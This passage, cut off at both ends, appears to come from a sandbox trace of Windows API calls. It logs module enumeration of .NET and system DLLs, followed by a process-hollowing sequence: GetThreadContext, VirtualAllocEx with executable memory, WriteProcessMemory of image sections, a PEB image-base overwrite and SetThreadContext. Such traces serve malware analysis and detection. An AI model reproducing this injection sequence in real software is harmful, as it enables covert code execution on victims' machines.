hModule=0x75430000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0116.705] GetLastError () returned 0x1e7 [0116.705] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75430000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0116.705] GetLastError () returned 0x1e7 [0116.705] GetModuleInformation (in: hProcess=0x20c, hModule=0x749d0000, lpmodinfo=0x26eb734, cb=0xc | out: lpmodinfo=0x26eb734*(lpBaseOfDll=0x749d0000, SizeOfImage=0x5ab000, EntryPoint=0x74a23dc0)) returned 1 [0116.706] GetLastError () returned 0x1e7 [0116.706] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x749d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0116.706] GetLastError () returned 0x1e7 [0116.706] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x749d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0116.706] GetLastError () returned 0x1e7 [0116.706] GetModuleInformation (in: hProcess=0x20c, hModule=0x75390000, lpmodinfo=0x26ec86c, cb=0xc | out: lpmodinfo=0x26ec86c*(lpBaseOfDll=0x75390000, SizeOfImage=0x9b000, EntryPoint=0x7539232b)) returned 1 [0116.707] GetLastError () returned 0x1e7 [0116.707] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75390000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0116.707] GetLastError () returned 0x1e7 [0116.707] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75390000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0116.708] GetLastError () returned 0x1e7 [0116.708] GetModuleInformation (in: hProcess=0x20c, hModule=0x75f40000, lpmodinfo=0x26eda00, cb=0xc | out: lpmodinfo=0x26eda00*(lpBaseOfDll=0x75f40000, SizeOfImage=0xc4a000, EntryPoint=0x75fc1601)) returned 1 [0116.708] GetLastError () returned 0x1e7 [0116.708] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75f40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0116.709] GetLastError () returned 0x1e7 [0116.709] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75f40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0116.709] GetLastError () returned 0x1e7 [0116.709] GetModuleInformation (in: hProcess=0x20c, hModule=0x75770000, lpmodinfo=0x26eeafc, cb=0xc | out: lpmodinfo=0x26eeafc*(lpBaseOfDll=0x75770000, SizeOfImage=0x15c000, EntryPoint=0x757bba3d)) returned 1 [0116.710] GetLastError () returned 0x1e7 [0116.710] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75770000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0116.710] GetLastError () returned 0x1e7 [0116.710] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75770000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0116.711] GetLastError () returned 0x1e7 [0116.711] GetModuleInformation (in: hProcess=0x20c, hModule=0x75290000, lpmodinfo=0x26efbf0, cb=0xc | out: lpmodinfo=0x26efbf0*(lpBaseOfDll=0x75290000, SizeOfImage=0xb000, EntryPoint=0x75291992)) returned 1 [0116.711] GetLastError () returned 0x1e7 [0116.711] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75290000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0116.711] GetLastError () returned 0x1e7 [0116.712] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75290000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0116.712] GetLastError () returned 0x1e7 [0116.712] GetModuleInformation (in: hProcess=0x20c, hModule=0x72ac0000, lpmodinfo=0x26f0cec, cb=0xc | out: lpmodinfo=0x26f0cec*(lpBaseOfDll=0x72ac0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0116.712] GetLastError () returned 0x1e7 [0116.712] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x72ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0116.713] GetLastError () returned 0x1e7 [0116.713] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x72ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0116.713] GetLastError () returned 0x1e7 [0116.713] GetModuleInformation (in: hProcess=0x20c, hModule=0x75440000, lpmodinfo=0x26f1e84, cb=0xc | out: lpmodinfo=0x26f1e84*(lpBaseOfDll=0x75440000, SizeOfImage=0x80000, EntryPoint=0x754537c9)) returned 1 [0116.714] GetLastError () returned 0x1e7 [0116.714] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75440000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0116.714] GetLastError () returned 0x1e7 [0116.715] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75440000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0116.715] GetLastError () returned 0x1e7 [0116.715] GetModuleInformation (in: hProcess=0x20c, hModule=0x75230000, lpmodinfo=0x26f2f80, cb=0xc | out: lpmodinfo=0x26f2f80*(lpBaseOfDll=0x75230000, SizeOfImage=0x5b000, EntryPoint=0x75274d48)) returned 1 [0116.715] GetLastError () returned 0x1e7 [0116.716] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75230000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0116.716] GetLastError () returned 0x1e7 [0116.716] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75230000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0116.717] GetLastError () returned 0x1e7 [0116.717] GetModuleInformation (in: hProcess=0x20c, hModule=0x72320000, lpmodinfo=0x26f40b8, cb=0xc | out: lpmodinfo=0x26f40b8*(lpBaseOfDll=0x72320000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0116.717] GetLastError () returned 0x1e7 [0116.717] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x72320000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0116.718] GetLastError () returned 0x1e7 [0116.718] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x72320000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0116.718] GetLastError () returned 0x1e7 [0116.718] GetModuleInformation (in: hProcess=0x20c, hModule=0x750a0000, lpmodinfo=0x26f5244, cb=0xc | out: lpmodinfo=0x26f5244*(lpBaseOfDll=0x750a0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0116.719] GetLastError () returned 0x1e7 [0116.719] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x750a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0116.719] GetLastError () returned 0x1e7 [0116.719] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x750a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0116.720] GetLastError () returned 0x1e7 [0116.720] GetModuleInformation (in: hProcess=0x20c, hModule=0x74830000, lpmodinfo=0x26f6400, cb=0xc | out: lpmodinfo=0x26f6400*(lpBaseOfDll=0x74830000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0116.720] GetLastError () returned 0x1e7 [0116.720] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x74830000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0116.721] GetLastError () returned 0x1e7 [0116.721] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x74830000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0116.721] GetLastError () returned 0x1e7 [0116.722] GetModuleInformation (in: hProcess=0x20c, hModule=0x746a0000, lpmodinfo=0x26f75e4, cb=0xc | out: lpmodinfo=0x26f75e4*(lpBaseOfDll=0x746a0000, SizeOfImage=0x190000, EntryPoint=0x7473d026)) returned 1 [0116.722] GetLastError () returned 0x1e7 [0116.722] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x746a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0116.723] GetLastError () returned 0x1e7 [0116.723] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x746a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0116.723] GetLastError () returned 0x1e7 [0116.723] GetModuleInformation (in: hProcess=0x20c, hModule=0x74fa0000, lpmodinfo=0x26f8784, cb=0xc | out: lpmodinfo=0x26f8784*(lpBaseOfDll=0x74fa0000, SizeOfImage=0xfb000, EntryPoint=0x74fb17e1)) returned 1 [0116.724] GetLastError () returned 0x1e7 [0116.724] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x74fa0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0116.724] GetLastError () returned 0x1e7 [0116.724] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x74fa0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0116.725] GetLastError () returned 0x1e7 [0116.725] GetModuleInformation (in: hProcess=0x20c, hModule=0x75700000, lpmodinfo=0x26f99a8, cb=0xc | out: lpmodinfo=0x26f99a8*(lpBaseOfDll=0x75700000, SizeOfImage=0x5000, EntryPoint=0x75701438)) returned 1 [0116.726] GetLastError () returned 0x1e7 [0116.726] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75700000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0116.726] GetLastError () returned 0x1e7 [0116.726] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75700000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0116.727] GetLastError () returned 0x1e7 [0116.737] GetThreadContext (in: hThread=0x20c, lpContext=0x27ba82c | out: lpContext=0x27ba82c*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0xfcd2de, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0116.738] ReadProcessMemory (in: hProcess=0x208, lpBaseAddress=0x7efde008, lpBuffer=0x31cae4, nSize=0x4, lpNumberOfBytesRead=0x31cb08 | out: lpBuffer=0x31cae4*, lpNumberOfBytesRead=0x31cb08*=0x4) returned 1 [0116.739] VirtualAllocEx (hProcess=0x208, lpAddress=0x400000, dwSize=0x58000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0116.739] WriteProcessMemory (in: hProcess=0x208, lpBaseAddress=0x400000, lpBuffer=0x38a5fc8*, nSize=0x200, lpNumberOfBytesWritten=0x31cb08 | out: lpBuffer=0x38a5fc8*, lpNumberOfBytesWritten=0x31cb08*=0x200) returned 1 [0116.746] WriteProcessMemory (in: hProcess=0x208, lpBaseAddress=0x402000, lpBuffer=0x38f6de8*, nSize=0x50400, lpNumberOfBytesWritten=0x31cb08 | out: lpBuffer=0x38f6de8*, lpNumberOfBytesWritten=0x31cb08*=0x50400) returned 1 [0116.753] WriteProcessMemory (in: hProcess=0x208, lpBaseAddress=0x454000, lpBuffer=0x27bab04*, nSize=0x600, lpNumberOfBytesWritten=0x31cb08 | out: lpBuffer=0x27bab04*, lpNumberOfBytesWritten=0x31cb08*=0x600) returned 1 [0116.754] WriteProcessMemory (in: hProcess=0x208, lpBaseAddress=0x456000, lpBuffer=0x27bb110*, nSize=0x200, lpNumberOfBytesWritten=0x31cb08 | out: lpBuffer=0x27bb110*, lpNumberOfBytesWritten=0x31cb08*=0x200) returned 1 [0116.754] WriteProcessMemory (in: hProcess=0x208, lpBaseAddress=0x7efde008, lpBuffer=0x27bb31c*, nSize=0x4, lpNumberOfBytesWritten=0x31cb08 | out: lpBuffer=0x27bb31c*, lpNumberOfBytesWritten=0x31cb08*=0x4) returned 1 [0116.755] SetThreadContext (hThread=0x20c, lpContext=0x27ba82c*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x45224e, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, 